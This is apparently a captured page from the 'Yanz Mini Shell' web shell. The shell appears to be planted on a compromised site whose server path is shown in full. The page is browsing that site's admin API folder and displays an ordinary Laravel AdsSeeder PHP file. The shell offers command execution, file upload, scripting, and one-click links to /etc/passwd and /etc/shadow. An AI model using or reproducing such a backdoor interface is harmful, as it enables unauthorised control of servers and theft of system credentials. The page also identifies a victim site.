Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
admin-app
api
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php namespace Database\Seeders; use Botble\Ads\Models\Ads; use Botble\Base\Supports\BaseSeeder; use Carbon\Carbon; use Illuminate\Support\Arr; use Illuminate\Support\Str; class AdsSeeder extends BaseSeeder { public function run(): void { $this->uploadFiles('promotion'); Ads::query()->truncate(); $items = [ [ 'name' => 'Top Slider Image 1', 'location' => 'not_set', 'key' => 'VC2C8Q1UGCBG', 'image' => 'promotion/1.jpg', ], [ 'name' => 'Homepage middle 1', 'location' => 'not_set', 'key' => 'IZ6WU8KUALYD', 'image' => 'promotion/2.png', ], [ 'name' => 'Homepage middle 2', 'location' => 'not_set', 'key' => 'ILSFJVYFGCPZ', 'image' => 'promotion/3.png', ], [ 'name' => 'Homepage middle 3', 'location' => 'not_set', 'key' => 'ZDOZUZZIU7FT', 'image' => 'promotion/4.png', ], [ 'name' => 'Products list 1', 'location' => 'not_set', 'key' => 'ZDOZUZZIU7FZ', 'image' => 'promotion/5.png', 'url' => '/products/beat-headphone', ], ]; foreach ($items as $index => $item) { $item['order'] = $index + 1; if (! isset($item['key'])) { $item['key'] = strtoupper(Str::random(12)); } $item['expired_at'] = Carbon::now()->addYears(5)->toDateString(); $item['url'] = Arr::get($item, 'url', '/products'); Ads::query()->create($item); } } }
Free Space : 11223629824 Byte